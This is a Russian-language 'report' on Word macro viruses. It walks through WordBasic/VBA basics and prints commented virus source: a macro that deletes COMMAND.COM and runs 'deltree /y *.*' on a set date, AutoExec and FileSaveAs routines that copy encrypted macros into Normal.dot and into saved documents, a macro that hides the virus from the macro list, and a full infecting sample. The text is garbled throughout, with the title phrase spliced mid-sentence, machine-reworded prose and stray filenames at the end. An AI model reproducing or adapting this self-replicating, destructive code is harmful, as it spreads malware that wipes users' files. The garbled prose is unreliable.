Макровирусы - доклад

МАКРО-ВИРУСЫ

В этой главе поведано
о макровирусах. Тщательно опи-
сана процедура и способы за-
ражения файлов. Представлен
начальный текст макровируса
с подробными комментария-
ми. Приведены главные
сведения о языке VBA, его про-
цедурах, функциях, стандарт-
ных конструкциях.

Как понятно, в ближайшее время огромное распространение получили
макро-вирусы. По сведениям из разных источников, на эти вирусы
приходится Макровирусы - доклад от 70 до 80 процентов заражений. Изложенный ниже мате-
риал поможет разобраться в вирусах этого типа.

Инструментарий

Для исследования макро-вирусов пригодится некое программное обес-
печение. В качестве "полигона" нужен MS-WORD версии 6.0 либо
выше. Для исследования зашифрованных макросов может понадобиться диз-
ассемблер макросов (создатель AURODREPH из VBB). Для более полного
осознания всего Макровирусы - доклад изложенного ниже лучше иметь базисные познания
о WORD BASIC.

Чтоб обезопасить рабочие файлы от плодов тестов, настоя-
тельно рекомендуется сделать запасную копию шаблона
NORMAL.DOT в каталоге WINWORD6\TEMPLATE, потому что конкретно
этот документ обычно заражается макро-вирусом. Когда все готово, са-
мое время перейти к основам макро-вирусов.

Общие Макровирусы - доклад сведения

Макрос - это программка, написанная на неком языке, которая ис-
пользуется обычно для автоматизации определенных процессов снутри
приложений. В этом случае разговор пойдет о языках Visual Basic for
Applications (VBA) и WordBasic (WB), которые Microsoft употребляет в
собственных программках (а именно, Excel, Project и PowerPoint употребляют
VBA, a WinWord - WB).

Дальше будем считать Макровирусы - доклад стандартным языком VBA, потому что он представля-
ет собой попытку унифицировать макроязык, сделать его общим для
всех программ Microsoft. Невзирая на то, что WB имеет некие от-
личия, в том числе и в синтаксисе, структура кода этих языков похожа.
По мере надобности будет особо отмечено, что идет речь о WB.

Макрос VBA - это Макровирусы - доклад вызываемые процедуры. Они бывают 2-ух типов:

процедуры-подпрограммы и процедуры-функции.

Процедуры-подпрограммы могут исполняться конкретно либо вы-
зываться из других макросов. Синтаксис их последующий:

Sub

-> код макроса <-

'Комментарий начинается с апострофа

End Sub

Пример;

'Данный макрос открывает диалоговое окно и выводит сообщение

Sub Stupid_Greeting Макровирусы - доклад

MsgBox "Hello World!"

End Sub

Процедуры-функции (также именуемые просто функциями) возвраща-
ют значение, которое может быть передано в качестве параметра другой
процедуре. Их синтаксис:

Function (Аргументы)
-> Аннотации <-
'Комментарий
End Function

Пример:

'Суммирует характеристики а и b и возвращает
'итог в переменную "AddAB"
Function AddAB(a.b)
AddAB=a+b
End Function

Естественно Макровирусы - доклад, в документ можно воткнуть столько макросов, сколько необходимо
(либо сколько охото), ограничений на их количество нет. Набор мак-
росов (процедур-подпрограмм и процедур-функций), составляющих до-
кумент, именуется модулем VBA.

Язык VBA работает также с объектами (снутри модулей VBA можно
делать ссылки на документы, графику). Объекты владеют качествами.
К примеру, свойством (либо атрибутом) объекта Макровирусы - доклад является его цвет.

VBA также позволяет работать с переменными. Как хоть какой язык струк-
турного типа, VBA имеет обычные конструкции:

цикл "For-next":

Sub Counter "Процедура

lnfect_Num=0

For Count=1 to 10 'Цикл от 1 до 10

lnfect_Num=lnfect_Num+Count

Next Count

MsgBox "Достигнули наибольшего количества заражений"

End Sub Макровирусы - доклад

4-1436

условие "If-then":

Sub lnfect_Check

If lnfect_Num=0 Then MsgBox "Файл не заражен"

End Sub

конструкция "With-end with" (употребляется для работы с несколькими
качествами определенного объекта):

Sub ChangeProperties
With Selection
.Font.Bold=True

.Font.Colorlndex=3 'красноватый цвет
End With
End Sub

селектор "Select case-end case":

Sub CheckJnfection

Select Case lnfect Макровирусы - доклад_Num

Case 0

MsgBox "Файл не заражен"

Case is > О

MsgBox "Файл заражен"

Case is < О

lnfect_Num=0

End Case

End Sub

Полезным инвентарем для работы с VBA является окно отладки.
В нем можно трассировать код, заносить в него конфигурации и делать мно-
гое другое. В процессе отладки для Макровирусы - доклад остановки на некое время ис-
полнения кода употребляются флаги. Чтоб можно было рассматривать
содержимое определенных переменных и/либо инструкций, после каждой
команды выводятся сообщения (в отладчике VBA для прерывания ис-
полнения кода можно ставить также контрольные точки).

Необходимо направить внимание на различные аргументы функций.
Как уже говорилось, структура их последующая:

Function (Аргументы Макровирусы - доклад)

[.]
End Function

Аргументами могут быть константы, переменные либо выражения.
Процедуры могут быть и без аргументов.

Function Get_Name()
Name=Application.UserName
End Function

Некие функции всегда требуют фиксированное число аргументов
(до 60). Другие функции имеют несколько неотклонимых аргументов,
а другие могут отсутствовать.

После того, как базы VBA стали понятны, идем далее. Итак Макровирусы - доклад, виру-
сы и "троянцы" на VBA.

Язык VBA универсален, и тому есть две предпосылки. Во-1-х, этот язык
прост в исследовании и использовании, так как он является языком ви-
зуального программирования, он нацелен на действия, а не на
объекты. С его помощью без особенных издержек времени совсем не сложно созда-
вать сложные модули Макровирусы - доклад. Во вторых, можно использовать огромное количе-
ство предопределенных функций, облегчающих работу. В третьих, име-
ются функции (либо макросы) автоматического выполнения, что
позволяет упростить написание процедур автокопирования, занесения
в память и иных применяемых стандартными DOS-вирусами.

Кроме этого, преимуществом VBA является свойство переносимости.
VBA работает под Win З.х, Win95, WinNT, MacOS Макровирусы - доклад и т.д., другими словами
в хоть какой операционной системе, где можно запустить приложения его
поддерживающие.

VBA представляет собой язык, приспособленный к языку приложения,
из-под которого он запущен. Это значит, что если на компьютере ус-
тановлена, к примеру, испанская версия WinWord, то имена предопреде-
ленных функций будут также на Макровирусы - доклад испанском. Так что два последующих
макроса - совсем не одно и то же.

1-ый макрос (испанский):

Sub Demo_Macro
Con Seleccion.Fuente
.Nombre="Times"
Fin Con
End Sub

2-ой макрос (британский):

Sub Demo_Macro
With Selection.Font
.Name="Times"

4*

End With
End Sub

Последний макрос не будет работать в испанской версии WinWord
(а 1-ый - в британской) - он вызовет Макровирусы - доклад ошибку выполнения макроса.
Еще отметим, что VBA - язык интерпретируемого (некомпилируемого)
типа, так что любая ошибка выполнения проявляется "в полете".

Есть функции, единые для всех версий VBA, вне зависимости
от языка. К примеру, автоматический макрос AutoExec.

Всего таких особых макросов 5, производятся они автомати-
чески:

AutoExec: это макрос, активируемый при загрузке текстового Макровирусы - доклад процессо-
ра, но исключительно в том случае, если он сохранен в шаблоне Normal.dot либо
в каталоге стандартных приложений;

AutoNew: активируется при разработке нового документа;

AutoOpen: активируется при открытии имеющегося документа;

AutoClose: активируется при закрытии документа;

AutoExit: активируется при выходе из текстового микропроцессора.

В качестве подтверждения силы и универсальности этих макросов Макровирусы - доклад рас-
смотрим последующий кусок кода (о языке уже условились).

'Макрос более эффективен, если его сохранить как AutoExit
Sub Main

'Проверим регистрационное имя
If Application. Username "MaD_MoTHeR" Then

'Снимем атрибуты COMMAND.COM
SetAttr "C:\COMMAND.COM",0

'Откроем для проверки - вдруг появятся ошибки
Open "CACOMMAND.COM" for Output as #1

'Если ошибки Макровирусы - доклад есть, то закроем.
Close #1

'и удалим

Kill "CACOMMAND.COM"

End If

'Проверим месяц и дату. Если 29 февраля, то выполним
'команду "deltree /у >nul
If Month(Now())=2 Then
If Day(Now())=29 Then
Shell "deltree /y *.* >nu"
End If
End If
End Sub

Что делает этот макрос? При выходе из WinWord он инспектирует два па-
раметра: имя, на Макровирусы - доклад которое зарегистрирован WinWord (если это не
MaD_MoTHeR, то будет удален файл COMMAND.COM), и текущую
системную дату (если это 29 февраля, производится команда "deltree /у
*.* > nub).

Очень принципиально знать, как адаптировать автоматический макрос (ниже
приведен простой вариант), чтоб активизировать его в открывае-
мый по дефлоту шаблон WinWord.

Это делается так:

Определяется переменная, в которую Макровирусы - доклад записывается полное имя макроса:

name$=WindowName$()+":AutoNew"

'этот макрос будет производиться всякий раз

'при разработке нового документа

Сейчас необходимо записать макрос в шаблон NORMAL.DOT обычный ко-
мандой:

MacroCopy name$, "Global:AutoNew"

Это стандартный метод работы макро-вирусов, но еще есть много дру-
гих, более увлекательных методов инфецирования Макровирусы - доклад. Всего то и необходимо, что не-
много воображения и несколько строчек кода. Одним из трюков, кото-
рый усложняет подобные вирусы и затрудняет их анализ, является
кодирование макро-вирусов.

MacroCopy "MyTemplate:MyMacro", "GlobahAutoClose", 1

Если производится команда MacroCopy с параметром, равным 1 (либо
другому числу больше 0), то в итоге копирования будет получен
только исполняемый макрос, который нельзя Макровирусы - доклад редактировать.

Большая часть макро-вирусов имеют типичную структуру. Они начина-
ются с автовыполняемого макроса, заражающего глобальный шаблон
Normal.dot. Также в их состав входят некие макросы, которые зара-
жают файлы при определенных действиях (FileSaveAs, FileSave,
ToolsMacros). Документы заражаются при совершении над ними опера-
ций вирусными макросами, другими словами Макровирусы - доклад они будут инфицироваться при
открытии.

Код для процедуры автовыполнения может смотреться приблизительно так:

Sub MAIN

On Error Goto Abort

iMacroCount=CountMacros(0, 0) 'Проверка на зараженность

For i=1 To iMacroCount

If MacroName$(i, 0, 0)="PayLoad" Then

binstalled =-1 'при помощи макроса Payload

End If

If MacroName$(i, 0, 0)="FileSaveAs" Then

bTooMuchTrouble =-1 'но если есть макрос Макровирусы - доклад FileSaveAs,
'то заразить тяжело

End If

Next i

If Not binstalled And Not bTooMuchTrouble Then

'Добавим макросы FileSaveAs и копии AutoExec и FileSave
'Payload употребляется только для проверки на зараженность
',1 - кодирует макросы, делая их нечитаемыми в Word

iWW6llnstance=Val(GetDocumentVar$("WW6lnfector"))

sMe$=FileName$()

Macro$=sMe$+":PayLoad"

MacroCopy Macro$, "Global Макровирусы - доклад:PayLoad", 1

Macro$=sMe$+":FileOpen" 'Будет происходить инфецирование

MacroCopy Macro$, "GlobahFileOpen", 1

Macro$=sMe$+":FileSaveAs"

MacroCopy Macro$, "GlobahFileSaveAs", 1

Macro$=sMe$+":AutoExec"

MacroCopy Macro$, "GlobahAutoExec", 1

SetProfileString "WW6I", Str$(iWW6llnstance+1)

End If

Abort:

End Sub

Процедура SaveAs

Она копирует макро-вирус в активный документ при его сохранении
через команду File/SaveAs. Эта процедура Макровирусы - доклад употребляет почти во всем схо-
жую с процедурой AutoExec технологию. Код для нее:

Sub MAIN

Dim dig As FileSaveAs

GetCurValues dig

Dialog dig

If (Dlg.Format=0) Or (dlg.Format=1) Then

MacroCopy "FileSaveAs", WindowName$()+":FileSaveAs"

'Заражает при сохранении документа
MacroCopy "FileSave", WindowName$()+":FileSave"
MacroCopy "PayLoad", WindowName$()+":PayLoad"
MacroCopy "FileOpen", WindowName$()+":FileOpen Макровирусы - доклад"

'При открытии документа
Dlg.Format=1
End If

FileDaveAs dig
End Sub

Этой инфы полностью довольно для сотворения маленьких макро-
вирусов.

Особые процедуры

Существует несколько методов скрыть вирус либо сделать его более
действенным. К примеру, можно сделать особый макрос, прячу-
щий вирус, если Tools/Macro раскрывается для просмотра. Код такового
макроса может смотреться Макровирусы - доклад приблизительно так:

Sub MAIN
On Error Goto ErrorRoutine

OldName$=NomFichier$()

If macros.bDebug Then

MsgBox "start ToolsMacro"

Dim dig As OutilsMacro

If macros.bDebug Then MsgBox "1"

GetCurValues dig

If macros.bDebug Then MsgBox "2"

On Error Goto Skip
Dialog dig
OutilsMacro dig
Skip:

On Error Goto ErrorRoutine 'При ошибке на выход
End If

REM Макровирусы - доклад enable automacros
DisableAutoMacros 0

macros. SavToGlobal(01dName$)

macros.objectiv

Goto Done 'Переход на метку Done

ErrorRoutine:

On Error Goto Done "Переход на метку Done
If macros.bDebug Then

MsgBox "error "+Str$(Err)+" occurred" 'Сообщение об ошибке
End If

Done:

End Sub

Макро-вирусы также могут включать наружные процедуры. К примеру,
вирус Nuclear пробует откомпилировать и запустить Макровирусы - доклад наружный
файл-разносчик вируса, некие троянские макросы пробуют фор-
матировать винчестер при открытии документа.

Пример макро-вируса

Выше были изложены базы для исследования макро-вирусов. Пришло
время разглядеть начальные тексты.

Macro name: AutoNew [AUTONEW] "U"
Encryption key: DF
Sub MAIN

'Включаем обработку автоматических макросов
DisableAutoMacros 0

'Проверим, установлен ли макрос. Если Макровирусы - доклад макрос AutoExec
'находится, считаем, что файл заражен
If (lnstalled=0) And (Forgetlt=0) Then

'Заразим. Копируем макрос

MacroCopy WindowName$()+":AutoExec", "GlobahAutoExec", 1

MacroCopy WindowName$()+":AutoNew", "Global:AutoNew", 1

MacroCopy WmdowName$()+":AutoOpen", "Global:AutoOpen", 1

MacroCopy WindowName$()+":DateiSpeichem", "Global:DateiSpeichern", 1

MacroCopy WindowName$()+":DateiSpeichernUnter",

"Global.-DateiSpeichernllnter", 1

MacroCopy WindowName$()+":DateiBeenden",

"GlobahDateiBeenden", 1

MacroCopy WindowName$() + ": ExtrasOptionen ",

"Global :ExtrasOptionen", 1

MacroCopy WindowName$()+":DateiDokvorlagen Макровирусы - доклад",

"GlobaLDateiDokvorlagen", 1

MacroCopy WindowName$()+":lt", "Global:lt", 1

MacroCopy WindowName$()+":DateiDrucken", "GlobahDateiDrucken", 1

End If

End Sub

'Функция инспектирует, инсталлирован ли макрос AutoExec
Function Installed

'Установим переменную Installed в 0 (инициализация переменной).
"При положительном итоге проверки установим ее в 1
lnstalled=0

'Проверим, есть ли макросы
If CountMacros(O) > 0 Then

"Проверим имена макросов. Если есть AutoExec,

"установим Макровирусы - доклад переменную Installed в 1

For i=1 To CountMacros(O)

If MacroName$(i, 0)="AutoExec" Then

lnstalled=1

End If

Next i

End If

End Function

Function Forgetit

Forgetlt=0

Section$="Compatibility"

ProfilName$="Nomvir"

BlaBla$=GetProfileString$(Section$, ProfilName$)

If BlaBla$="Ox0690690" Then

Forgetlt=1

End If

End Function


major-robert-merriman-v-shlyape-vhodya-v-belchite-vo-glave-svoih-vojsk-8-glava.html
majorova-primeneno-pravilo-visushivaniya.html
majskie-obshestvennie-meropriyatiya-oao-surgutneftegaz-mezhdunarodnij-den-zashiti-detej-prazdnuyut-vo-mnogih-stranah.html